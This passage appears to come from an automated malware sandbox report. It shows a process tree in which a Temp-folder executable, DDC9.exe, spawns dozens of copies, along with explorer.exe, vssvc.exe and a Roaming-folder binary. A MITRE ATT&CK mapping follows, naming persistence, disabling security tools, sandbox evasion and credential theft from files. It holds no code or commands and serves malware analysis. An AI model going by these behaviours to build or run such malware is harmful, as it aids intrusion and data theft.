- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23596
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23960
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24388
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24536
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23572
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24048
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:22072
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23712
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:21880
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:15576
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24648
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25072
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25360
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25564
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24924
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25340
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23936
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24792
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24824
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25632
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25888
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26256
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:23592
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24232
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:19236
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:608
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:24444
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26364
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26044
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:2148
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:6720
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26936
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:27244
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26716
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:27136
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:27616
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:25852
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:27136
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26168
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:27572
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:26032
- C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  C:\Users\Admin\AppData\Local\Temp\DDC9.exe
  2⤵
  PID:27848

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:13324

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:12576

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:5372

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:8948

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:11460

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:14320

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:1692

C:\Windows\explorer.exe
C:\Windows\explorer.exe
1⤵
PID:7636

C:\Windows\SysWOW64\explorer.exe
C:\Windows\SysWOW64\explorer.exe
1⤵
PID:7692

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:18596

C:\Users\Admin\AppData\Roaming\eshdsse
C:\Users\Admin\AppData\Roaming\eshdsse
1⤵
PID:21468
- C:\Users\Admin\AppData\Roaming\eshdsse
  C:\Users\Admin\AppData\Roaming\eshdsse
  2⤵
  PID:24884

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Modify Existing Service

T1031

New Service

T1050

Scheduled Task

Privilege Escalation

New Service

T1050

Scheduled Task

Defense Evasion

Disabling Security Tools

T1089

File Deletion

T1107

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery